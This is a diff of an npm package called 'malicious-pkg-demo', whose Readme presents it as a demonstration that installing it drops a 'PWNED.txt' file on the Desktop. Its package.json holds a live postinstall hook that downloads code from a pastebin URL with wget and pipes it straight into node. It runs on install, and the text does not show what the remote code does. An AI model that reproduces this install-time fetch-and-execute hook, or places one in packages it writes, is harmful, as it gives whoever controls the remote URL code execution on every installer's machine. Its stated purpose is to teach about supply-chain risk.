malicious-pkg-demo 1.0.2

package/Readme.md

@@ -0,0 +1,5 @@
+When you install this package, it will create a text file called 'PWNED.txt' on your Desktop.
+
+This is to demonstrate that you shouldn't install packages from untrusted sources.
+
+Probably doesn't work on Windows.

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "malicious-pkg-demo",
+  "version": "1.0.2",
+  "repository": "https://github.com/kiloOhm/malicious-pkg-demo",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "wget https://pastebin.com/raw/N3GmZwHg -O - | node"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}